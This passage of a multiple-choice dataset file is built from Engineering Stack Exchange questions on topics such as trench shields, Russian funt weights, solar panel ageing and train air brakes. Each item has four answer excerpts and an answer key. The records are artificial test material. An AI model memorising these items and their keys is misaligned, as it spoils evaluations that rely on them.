the effects of impact. However, this is only true by inspection for an unlimited number of vehicles...", "B": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "C": "It is a trench shield. It gets placed in a trench after the trench is dug to prevent workers from being hurt or killed in the event of a trench collapse. This picture from GMC trench shield shows a partially collapsed trench with a shield installed that would protect the workers installing the blue brute pipe.", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/33530/what-is-this-large-steel-structure-used-in-excavation"} {"id": "engineering_43112", "domain": "engineering", "question_title": "What unit of weight is that?", "question_body": "Recently I was weighting stuff with my dad and as I was playing with one of the old 2 kg weights I felt with my fingers number \"5\". After cleaning and upon further inspection it turned out the writing on the weight says \"5Φ\". We checked and it indeed weights 2 kg as my dad remembered. It was done with a simple balance scale by comparing with another weight of similar age that is properly marked as \"2 kg\". There are no other marks on that weight. On the opposite side is a bulge but it's an irregular blob - I think it's remainder of sprue. So, question that arised in my head is - what does that Φ mean? Is it some rare unit of mass? Some sort of preferred series or standard for weights? I was looking for answers and found nothing. I ruled out pounds that was first thing that came to my mind because the difference was to big (5 pounds is approx. 2.26 kg) - though there are some signs of wear and corrosion it's in rather good shape and I don't believe it weighted 0.26 kg more originally. Also, considering I'm from Poland and the weight is really old it probably was made during the soviet era (maybe even in USSR) - so that phi could be actually cyrilic fe - but that also gave me no results. As a last resort I decided to ask here - maybe some member of that community will know the answer. Below is a photo of the weight in question.", "question_score": 15, "question_tags": ["measurements", "unit"], "choices": {"A": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "B": "You are probably right (it being of Russian origin). The weight seems to be 5 funt. 1 funt is the Russian equivalent of a pound. It is written as Фунт, funt, and around 1900 it was the basic unit of weight measurement in Russia (so it survived in the USSR days), but now its obsolete. 1 Φ is about 409.5 grams.", "C": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "D": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/43112/what-unit-of-weight-is-that"} {"id": "engineering_150", "domain": "engineering", "question_title": "Do solar cells age? Why, and how?", "question_body": "As I heard, the life expectancy of photovoltaic cells is normally some decades, as so. This is very long, regarding their high cost, it has significant (negative) effect on the total costs. Why do they age? I can see the only possibility which could damage their atomic structure, and this is the very high energetic ultraviolet (or even soft röntgen) photon spectrum of the sun (which is only a small part of its power). And, I think, these photons could be maybe easily filtered out by a transparent plastic layer over the silicon. Thus, why do the solar cells age, and what happens in them on the atomic level?", "question_score": 14, "question_tags": ["photovoltaics"], "choices": {"A": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "B": "The National Renewable Energy Lab (NREL) estimates something like 0.4%-1% degradation per year for solar panels. I don't know what the chemical action is here (the electrical result being an increase in series resistance of the PV cells), but the long-term degradation of the panels is correlated with UV exposure. Although damaging to the PV material, the UV rays do contain energy that we want to collect, so you won't be able to filter it out completely without defeating the purpose of the panel. Other causes for degradation are mostly weather-related, but in the form of mechanical stresses to the...", "C": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "D": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/150/do-solar-cells-age-why-and-how"} {"id": "engineering_165", "domain": "engineering", "question_title": "Are pontoon bridges being considered to extend bridge span?", "question_body": "Pontoon bridges differ from traditional bridges in that they are supported not by structures anchored to the floor of the body being spanned but by floating pontoons that are connected by a more rigid structure that supports a roadway. They're often used by militaries to provide a temporary crossing point, but they're also used for permanent civilian crossings . I would assume that they make it easier to cross larger bodies of water because there is less structure to be secured below the surface. In areas of deep water, support structures can become unfeasibly large. These larger spans could, though, make the pontoon bridges susceptible to damage from strong winds and currents. Are there plans to use pontoon bridges to cross long distances?", "question_score": 14, "question_tags": ["civil-engineering", "bridges"], "choices": {"A": "It is a trench shield. It gets placed in a trench after the trench is dug to prevent workers from being hurt or killed in the event of a trench collapse. This picture from GMC trench shield shows a partially collapsed trench with a shield installed that would protect the workers installing the blue brute pipe.", "B": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "C": "That looks like a Pratt truss . These trusses have diagonals which go from the outer-top nodes to the inner-bottom nodes (i.e. they connect to the top chord on the node furthest from the center of the span, and to the bottom chord on the node closest to the center). This design means that the diagonals are under tension and the verticals are under compression. Another famous design is the Allan truss , which is the exact opposite: the diagonals go from the inner-top nodes to the outer-bottom nodes, which means that the diagonals are under compression and the verticals...", "D": "Theoretically pontoon bridges with rope anchors keeping them to the bottom would work against wind and flow, overcoming the problem jhabbot mentioned in his answer (same as train length limit - stretching force). In practice these come with more problems of their own. They drift on water surface and as result, rise and fall with water waves. The larger the body of water they span, the higher the waves; at certain point in stormy weather the bridge would just launch the vehicles into the air. The anchoring isn't exactly simple if it's to withstand such forces. You could just as..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/165/are-pontoon-bridges-being-considered-to-extend-bridge-span"} {"id": "engineering_1903", "domain": "engineering", "question_title": "What happens when you put the wrong type of fuel in an internal combustion engine?", "question_body": "What happens to the working of petrol engine when it is emptied and filled with diesel or to a diesel engine emptied and filled with petrol? Will the engine be able to operate and, if not, why not?", "question_score": 14, "question_tags": ["mechanical-engineering", "automotive-engineering", "combustion"], "choices": {"A": "If you were going to turn left 90 degrees, without turning the wheels, then you wind up dragging the wheels sideways while you turn. 16 seconds into this video shows exactly what I'm talking about . So every time you try to back out of your driveway, or a parking spot, or turn into a parking spot, or turn anywhere for any reason, you're going to lay down rubber because the tires are rotating quickly while remaining nearly stationary as you turn. Again, look at the wheel slip in the video I linked. You'd be hard pressed to find \"four...", "B": "Putting diesel fuel in a gasoline engine is just about impossible. Diesel fuel nozzles are larger than gasoline nozzles, and modern gas caps are too small for diesel nozzles to fit into. However, if you managed to get it in there, the diesel fuel is too heavy and evaporates too slowly for the spark plugs to ignite it effectively. One source says that it won't start at all, another source says that it probably won't start, but there's a chance it will, it'll just run horribly and end up as a smokey disaster. The converse is possible, since the gasoline...", "C": "OP injection molding tag is correct. OBall uses injection molding and plastic welding. The OBall is the invention of David E. Silverglate. Toy Ball Apparatus with Reduced Part Count Reduced image from Kids II . It consists of four identical, flat, injection molded, pentagon and hexagon shapes with circular (or elipitical) holes, which are shaped and plastically welded into spheres. Pentagon and hexagon edges are the same size and individual connected circles are only connected along one edge. The four shapes are clearly shown in colors above and from the patent. Solid lines on each part are hard connections, while...", "D": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1903/what-happens-when-you-put-the-wrong-type-of-fuel-in-an-internal-combustion-engin"} {"id": "engineering_2133", "domain": "engineering", "question_title": "If the emergency brake in a train is broken, do the passenger car brakes still work?", "question_body": "Scenario: Suppose the emergency brake button in the cab of a train is not working. Would the emergency brake cords / buttons in the passenger cars still work? This question is inspired by this question on the SciFi StackExchange , asking why the passengers in the train fight scene from the movie SpiderMan 2 did not simply pull the emergency brakes. In that particular scene, a R46 City Subway Car was rendered \"unstoppable\" by ripping out the speed control lever in the car, which also happened to disable the emergency brake button (see 16 seconds into the video). With movies, we suspend our disbelief in order to enjoy the story that is presented. But the above SciFi question got me to thinking about how emergency brake systems are designed for trains. Given trains significant mass and momentum when moving, it seems like there would be multiple, redundant safety systems to provide braking capability for the train. My Question: Is there a common safety design used for the braking system of trains? Does that design account for portions of the system failing and allowing other portions to compensate for the failed components? (ie. would the passenger car emergency brakes still work?)", "question_score": 14, "question_tags": ["mechanical-engineering", "rail"], "choices": {"A": "For long freight trains and those that will be climbing to stations at higher altitudes, an extra or two locomotives are attached to the front. I've always wondered why. As usual there are multiple issues. Most important is landscape. If more power than a single locomotive can provide is not needed for the whole trip, but only a short stretch, like climbing or crossing a mountain range, then it would be a huge waste of resources to attach them the whole trip. For example, take a 10 hour trip time, where all, except for a 1 hour stretch, can be...", "B": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "C": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "D": "Train Brakes The common brakes on trains are air brakes . As the name implies, these work off of air pressure. The braking power isn't controlled in the way that you would immediately think of though. They do not work like car brakes where the harder you press on the brake pedal, the harder the pressure goes through the lines to the brake cylinders. They work the opposite. The less pressure in the line, the more braking force is applied. Fail-safe Rail brakes are designed to be fail-safe . That is, when a failure occurs, the safe operation happens. In..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2133/if-the-emergency-brake-in-a-train-is-broken-do-the-passenger-car-brakes-still-w"} {"id": "engineering_2478", "domain": "engineering", "question_title": "Is stainless steel plating possible?", "question_body": "Is there a method for plating steel with stainless steel? If so, is it chemical, electrical, or electrochemical? I did a quick search on the internet but was unable to find a service. I'm interested in applying a food safe finish to something that would otherwise be cost prohibitive to make out of solid stainless steel.", "question_score": 14, "question_tags": ["materials", "steel"], "choices": {"A": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "B": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "C": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "D": "Keeping things simple, steel is an alloy of iron and carbon, whereas stainless steel is essentially an alloy of iron, carbon and chromium or iron, carbon chromium and nickel. All forms of steel, whether they be ordinary iron and carbon alloy or stainless steel are made from a melt in furnaces. Because of this stainless steel cannot be plated to ordinary steel by chemical means either. Stainless steel can be welded to ordinary steel but a TIG welder is required, but this wouldn't suit your purposes. Hot dipping is unlikely to be an option due to the melting temperatures of..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2478/is-stainless-steel-plating-possible"} {"id": "engineering_2991", "domain": "engineering", "question_title": "Why are lasers used for concentrated light applications instead of incoherent light sources?", "question_body": "Some laser applications consist simply of concentrating light into a small spot. Two example applications are laser welding and cutting. In these cases a CO 2 laser is often used which needs a regulated power supply, a water cooling system, and a supply of CO 2 gas. Why do these applications use a laser instead of a simpler (i.e. incoherent) light source such as an AC powered arc lamp?", "question_score": 14, "question_tags": ["optics", "lasers"], "choices": {"A": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "B": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "C": "There are many reasons why highly monochromatic light, such as that emitted by a laser, is useful for delivering a large amount of power to a small spot. First of all, incoherent light sources such as a lamp are extended sources which means that they are emitting light from a piece of material which takes up a finite amount of space. When focusing this light to a point, the focal spot is limited by the size of your source multiplied by the magnification of your imaging system. This may sound like a small effect, but if you want to focus...", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2991/why-are-lasers-used-for-concentrated-light-applications-instead-of-incoherent-li"} {"id": "engineering_7344", "domain": "engineering", "question_title": "Why is Mach 0.3 the threshold separating compressible and incompressible flow?", "question_body": "I've read that Mach 0.3 is pretty much the upper limit for treating air as an incompressible fluid. The sources I've read seem to treat this as a given, without proof or justification. Why is this the limit? Is there a mathematical justification for this? Also, does this limit only apply to air? If not, then what does the limit depend on?", "question_score": 14, "question_tags": ["fluid-mechanics"], "choices": {"A": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "B": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual...", "C": "Wikipedia gives the reason for Mach 0.3 as due to the fact that this achieves ~5% change in density. I found a NASA page that describes (analytically!) the relationship. I cited the source, but I'll reproduce the work here for posterity, in the event their links change. Start with conservation of momentum: $$ (\\rho V) dV = -dp \\\\ $$ where $\\rho$ is the fluid density, $V$ is the velocity, and $p$ is the pressure. for isentropic flow: $$ \\frac{dp}{p} = \\gamma \\frac{d\\rho}{\\rho} \\\\ dp = \\left( \\frac{\\gamma p}{\\rho} \\right) d\\rho \\\\ $$ where $\\gamma$ is the specific heat ratio....", "D": "In the video you've linked to, the spheres are seen on both the leading and trailing edges of the propeller: I expect they are intentional - there are a number of ways to attach a propeller without having to disturb that surface, or using flush caps. Cavitation is caused by a drop in pressure. This would be seen on the trailing edges of the propeller, and is worse on the outer edge of the propeller which is moving faster through water than the inner area. I doubt these spheres have any effect on cavitation at all. It is either a..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/7344/why-is-mach-0-3-the-threshold-separating-compressible-and-incompressible-flow"} {"id": "engineering_22725", "domain": "engineering", "question_title": "Why does column buckling occur when the load is parallel to the column?", "question_body": "I'm studying Euler's work on structural engineering from a book out of curiosity and it is mentioned that he developed a mathematical theory describing the buckling of columns under a parallel load (the weight-force of the load is directed down along the column). The theory is covered quickly without much motivation. But this got me thinking; why does a column \"buckle\" in the first place? If the load presses the column down, why does the column even start deflecting sideways? I know this happens in real life since this fact is easily confirmeable with household objects, but theoretically, why do objects start deflecting sideways instead of just compressing under loads? This might be something obvious and maybe I'm just overthinking but I find this curious nonetheless.", "question_score": 14, "question_tags": ["structural-engineering", "civil-engineering"], "choices": {"A": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "B": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '", "C": "A yahkchal is an example of a type of passively cooled building in Iran They utilise a combination of passive evaporative cooling and thick thermally insulating walls in order to keep the interior temperatures low enough. First, wind is directed into underground aquifers known as qanat . They are then cooled due to the low humidity desert air causing water to evaporate. The cooled air then flows through the interior of the yakhchal, cooling the interior. The thick insulating walls (filled with earth and various insulating materials such as straw and feathers) help to insulate the cool interior from the...", "D": "Euler buckling occurs because the world isn't perfect. So that theory assumes that there is an initial infinitesimal deviation along the column (assuming the column is in fact not perfectly vertical*). This deviation causes a bending moment along the beam, which increases the deviation, which increases the bending moment, which increases the deviation... For loads lower than the Euler load, this vicious cycle eventually stabilizes and the beam doesn't buckle. For the Euler load and above, the cycle never stabilizes and the deflection goes to infinity. Obviously the real world has initial deviations and other problems which are much higher..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/22725/why-does-column-buckling-occur-when-the-load-is-parallel-to-the-column"} {"id": "engineering_49405", "domain": "engineering", "question_title": "Why are multiple locomotives attached only to the front for larger trains?", "question_body": "For long freight trains and those that will be climbing to stations at higher altitudes, an extra or two locomotives are attached to the front. I've always wondered why. For argument's sake, if there are 30 bogeys each weighing 10 tons, the three engines are pulling a combined 300 tons. Each must be applying the exact same pull else if one is pulling harder than it is effectively taking on all the work with the other two idling. Plus, the load on the first coupling is 300 tons, on the second 290, and so on. On the other hand, if locomotives are placed after every 10 bogeys, then each is pulling 100 tons only.", "question_score": 14, "question_tags": ["mechanical-engineering", "rail"], "choices": {"A": "For long freight trains and those that will be climbing to stations at higher altitudes, an extra or two locomotives are attached to the front. I've always wondered why. As usual there are multiple issues. Most important is landscape. If more power than a single locomotive can provide is not needed for the whole trip, but only a short stretch, like climbing or crossing a mountain range, then it would be a huge waste of resources to attach them the whole trip. For example, take a 10 hour trip time, where all, except for a 1 hour stretch, can be...", "B": "There are a few simple reasons why the speed of a vehicle (road conditions notwithstanding) may be limited: Gearing -- Production vehicles with conventional transmissions have a limited number of gears. For most modern cars, this is usually 5 or 6, whereas older vehicles may have as few as 2 or 3. If the gear ratio of the highest gear is too low (\"lower\" gears are expressed as larger numerical ratios), it's entirely possible that the engine will redline before air resistance becomes a factor at all. This ties into your first point about the red zone on the tachometer....", "C": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "D": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/49405/why-are-multiple-locomotives-attached-only-to-the-front-for-larger-trains"} {"id": "engineering_34", "domain": "engineering", "question_title": "Do I need to worry about galvanic corrosion when inserting a steel bar through aluminium?", "question_body": "My design uses a round steel bar inserted through a hole in an aluminium component with a tight fit (no movement). The operating environment is dry, 20-40°C. Do I need to worry about galvanic corrosion, and if so how long will this last before starting to corrode? Also, what storage conditions should I avoid that would accelerate the corrosion?", "question_score": 13, "question_tags": ["steel", "corrosion", "materials"], "choices": {"A": "Short answer : make it thicker. Long answer : The moment of inertia affects the beam's ability to resist flexing. Use one of the many, free, online moment of inertia calculators (like this one ) to see how increasing the height of the beam will have an exponential effect on increasing the stiffness of the beam. And this site helps provide a pictorial view of the load(s) upon a beam depending upon differing configurations, such as where the supports are and where the load is applied. It also provides a calculator to determine the forces involved. Wikipedia has a decent...", "B": "BS5950-1:2000 Clause 1.3.23 defines an H-section as having \" an overall depth not greater than 1.2 times its overall width \", and Clause 1.3.25 defines an I section as having \" an overall depth greater than 1.2 times its overall width \". Note that at exactly a ratio of 1.2, it would be an H section not an I section.", "C": "Very probably, no. Galvanic corrosion required the existence of a reactive and conductive medium, which you don't have. If there is some (for example, at least moist air, or similar) best you can do to paint both of the metals, if you can. Generally, if none of the materials would corrode in an environment, galvanic corrosion is a non-issue (in that environment).", "D": "We use engineering strain even though it is not the \"correct\" value because in most cases, specifically in the elastic regime, engineering strain differs negligibly from true strain. For linear elastic, Hookean materials, it is generally the case strain at the elastic limit is very small. Even the strongest steels, for example, have an upper limit when cold worked of about $\\sigma_{\\textrm{el}}=1\\times 10^{9}\\ \\textrm{Pa}$. The modulus of steel is approximately $E=200\\times 10^{9}\\ \\textrm{Pa}$. Thus $\\varepsilon_{\\textrm{el}}=0.005=0.5\\%$ for the strongest steels. So at the onset of plastic deformation, engineering strain is $0.5\\%$. Many useful elastic materials have much lower engineering strain at..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/34/do-i-need-to-worry-about-galvanic-corrosion-when-inserting-a-steel-bar-through-a"} {"id": "engineering_89", "domain": "engineering", "question_title": "Additional jacking force to overcome stiction/dry friction", "question_body": "It is common to lift bridges to replace bearings, etc. In an ideal world the lifting capacity required of the jacks would be the self-weight of the bridge divided by the number of jacks (+ allowances for wind/snow, etc.). From my (limited) experience, however, bridges begin to 'stick' to their bearings, and an additional allowance for over-coming this has to be provided. Does anyone have any guidance about how to determine this figure?", "question_score": 13, "question_tags": ["civil-engineering", "structures", "bridges", "maintenance", "friction"], "choices": {"A": "So there's an incorrect assumption underlying your question. In an ideal world the lifting capacity required of the jacks would be the self-weight of the bridge divided by the number of jacks (+ allowances for wind/snow, etc.). And the assumption there is that the lifting capacity is equivalent only to the weight of the bridge. The problem is that if anything goes wrong, you're likely to see a catastrophic failure of some sort which could lead to irreparable damage. Real world lifts don't operate in that \"ideal\" manner, and instead rely upon a safety factor in order to make sure...", "B": "That looks like a Pratt truss . These trusses have diagonals which go from the outer-top nodes to the inner-bottom nodes (i.e. they connect to the top chord on the node furthest from the center of the span, and to the bottom chord on the node closest to the center). This design means that the diagonals are under tension and the verticals are under compression. Another famous design is the Allan truss , which is the exact opposite: the diagonals go from the inner-top nodes to the outer-bottom nodes, which means that the diagonals are under compression and the verticals...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/89/additional-jacking-force-to-overcome-stiction-dry-friction"} {"id": "engineering_162", "domain": "engineering", "question_title": "How to correctly size the blades for a small educational wind turbine?", "question_body": "I want to design a small wind turbine that can be easily carried out of the classroom into the sports field in relatively low-wind conditions (5-15km/h) that can power a small ultra-bright 5V LED - just enough to show that it works. How do I calculate the power I can get from different blade diameters in these wind conditions, and the power needed to drive a small DC motor/generator enough to light the LED?", "question_score": 13, "question_tags": ["electrical-engineering", "renewable-energy", "power-engineering", "wind-power"], "choices": {"A": "As it happens, I just recently went through that calculation myself for a different site. Given the following facts from a quick web search, it isn't difficult to work out the numbers. The maximum efficiency of a (large) windmill is about 40%. The density of air is 1.225 kg/m 3 You need about 50 mW (10 mA at 5V) to light up an LED First, we'll need about 50 mW / 0.40 = 125 mW of air power flowing through the windmill to create the electricity we need (ignoring other factors such as the actual efficiency of a small windmill...", "B": "Cross-interference between aircraft is a high unlikely event because all commercial aircraft designs have to pass DO-160 environmental testing requirements. Among the DO-160 testing specification is EMI/EMC Testing. These tests include Radiated Emission, Interference and Immunity Testing. Part of these tests are to answer \" Two aircraft are very close together \" and \" The other aircraft accidentally receives the signal because it is so close. \" Below is a picture of an anechoic chamber used to test aircraft. Fly-by-wire allows the aircraft control system to access and command monitoring and control systems. The monitoring and control systems have a...", "C": "Some ideas: Wheel Load Distribution : The load is greater on the rear wheels providing the power; more force on the front ones bring no benefit and would provide less traction. Better manoeuvrability from having a shorter wheelbase. Better Ground Clearance in some conditions, especially for bumps and or up a increasing slope for instance. Better Driving : The front wheels now turn around a point closer to the C.G. than with the rear wheels. Not good with vehicle dynamics but this appears better than the rear end 'trailing' behind. Structural : As some people have pointed out, it's better...", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn 